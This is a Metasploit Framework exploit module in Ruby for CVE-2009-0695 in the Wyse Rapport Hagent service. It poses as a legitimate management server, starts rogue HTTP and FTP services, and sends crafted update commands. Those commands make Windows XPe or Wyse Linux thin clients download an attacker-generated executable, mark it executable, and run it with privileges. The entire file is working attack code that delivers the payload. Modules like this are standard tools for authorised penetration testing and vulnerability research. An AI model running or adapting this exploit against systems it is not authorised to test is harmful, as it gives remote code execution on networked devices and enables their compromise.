##
# $Id: hagent_untrusted_hsdata.rb
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/projects/Framework/
##

require 'timeout'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wyse Rapport Hagent Fake Hserver Command Execution',
      'Description'    => %q{
        This module exploits the Wyse Rapport Hagent service by pretending to
      be a legitimate server. This process involves starting both HTTP and 
      FTP services on the attacker side, then contacting the Hagent service of
      the target and indicating that an update is available. The target will
      then download the payload wrapped in an executable from the FTP service.
      },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Author'         => 'kf',
      'Version'        => '$Revision$',
      'References'     => 
        [
          ['CVE', '2009-0695'],
          ['OSVDB', '55839'],
          ['US-CERT-VU', '654545'],
          ['URL', 'https://snosoft.blogspot.com/'],
          ['URL', 'https://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],
          ['URL', 'https://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],
          ['URL', 'https://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],
        ],
      'Payload'        =>
        {
          'Space'    => 2048,
          'BadChars' => '',
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Targets'        => 
          [
            [ 'Windows XPe x86',{'Platform' => 'win',}],
            [ 'Wyse Linux x86', {'Platform' => 'linux',}],
          ],
      'DefaultTarget'  => 0,
      'Privileged'     => true
    ))

    register_options([
      OptPort.new('SRVPORT',    [ true, "The local port to use for the FTP server", 21 ]),
      Opt::RPORT(80),
    ], self.class)
  end


  def exploit
  
    if(datastore['SRVPORT'].to_i != 21)
      print_error("This exploit requires the FTP service to run on port 21")
      return
    end
    
    # Connect to the target service
    print_status("Connecting to the target")
    connect()
    
    # Start the FTP service
    print_status("Starting the FTP server")
    start_service()
    
    # Create the executable with our payload
    print_status("Generating the EXE")
    if target['Platform'] == 'win'
      @exe_file = Msf::Util::EXE.to_win32pe(framework, payload.encoded)
      maldir      = "C:\\"      # Windows
      malfile     = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".exe"
      co = "XP"
    elsif  target['Platform'] == 'linux'
      @exe_file = Msf::Util::EXE.to_linux_x86_elf(framework, payload.encoded)
      maldir      = "//tmp//"    # Linux
      malfile     = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".bin"
      co = "LXS"
    end
    @exe_sent = false

    # Start the HTTP service
    print_status("Starting the HTTP service")
    wdmserver  = Rex::Socket::TcpServer.create({
      'Context'   => {
        'Msf'        => framework,
        'MsfExploit' => self
      }
    })
    
    wdmserver_port = wdmserver.getsockname[2]
    print_status("Starting the HTTP service on port #{wdmserver_port}")
    
    
    fakerapport = Rex::Socket.source_address(rhost)
    fakemac     = "00" + Rex::Text.rand_text(5).unpack("H*")[0]
    mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|"

    # FTP Credentials 
    ftpserver = Rex::Socket.source_address(rhost)
    ftpuser   = Rex::Text.rand_text_alphanumeric(rand(8)+1)
    ftppass   = Rex::Text.rand_text_alphanumeric(rand(8)+1)
    ftpport   = 21
    ftpsecure = '0'

    incr = 10  
    pwn1 = 
    "&UP0|&SI=1|UR=9" +
    "|CO \x0f#{co}\x0f|#{incr}" +
    # "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" +
    "|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr+1}" 

    pwn2 = 
     "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr+1}" 

    pwn3 = 
    "|EX \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +
    # "|RB|#{incr+1}" + 
    # "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" +
    #"|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" + 
    # FTP Paramaters 
    "|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + "|&FTPBw=10240" + "|&FTPST=200" + "|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" +
    "|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + "|&M_FTPBw=10240" + "|&M_FTPST=200" + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" +
    # No clue
    "|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|"

    if target['Platform'] == 'win'
      pwn = pwn1 + pwn3 
    elsif target['Platform'] == 'linux'
      pwn = pwn1 + pwn2 + pwn3 
    end
    # Send the malicious request
    sock.put(mal)
    
    # Download some response data
    resp = sock.get_once(-1, 10) 
    print_status("Received: " + resp)
    
    print_status("Waiting on a connection to the HTTP service")
    begin
      Timeout.timeout(190) do
      done = false
      while (not done and session = wdmserver.accept)
        req = session.recvfrom(2000)[0]
        next if not req
        next if req.empty?
        print_status("HTTP Request: #{req.split("\n")[0].strip}")
        
        case req
          when /V01/
              print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)")
          res = pwn           
        when /V02/
          print_status("++ device sending V02 query...")
          res  = "&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|"
          done = true
          
          when /V55/
             print_status("++ device sending V55 query...")
          res = pwn         
          when /POST/  # PUT is used for non encrypted requests.
             print_status("++ device sending V55 query...")
          res = pwn         
          done = true
        else
          print_status("+++ sending generic response...")
          res = pwn 
        end
        
        print_status("Sending reply: #{res}")
        session.put(res)
          session.close
      end
      end
    rescue ::TimeoutError
      print_status("Timed out waiting on the HTTP request")
      wdmserver.close
      disconnect()
      stop_service()
      return
    end
    
    print_status("Waiting on the FTP request...")
    stime = Time.now.to_f
    while(not @exe_sent)
      break if (stime + 90 < Time.now.to_f)
      select(nil, nil, nil, 0.25)  
    end
    
    if(not @exe_sent)
      print_status("No executable sent :(")
    end
    
    stop_service()
    wdmserver.close()
    
    handler
    disconnect
  end

  def on_client_command_retr(c,arg)
    print_status("#{@state[c][:name]} FTP download request for #{arg}")
    conn = establish_data_connection(c)
    if(not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end
    
    c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
    conn.put(@exe_file)
    c.put("226 Transfer complete.\r\n")
    conn.close
    @exe_sent = true
  end
  
  def on_client_command_size(c,arg)
    print_status("#{@state[c][:name]} FTP size request for #{arg}")
    c.put("213 #{@exe_file.length}\r\n")
  end


end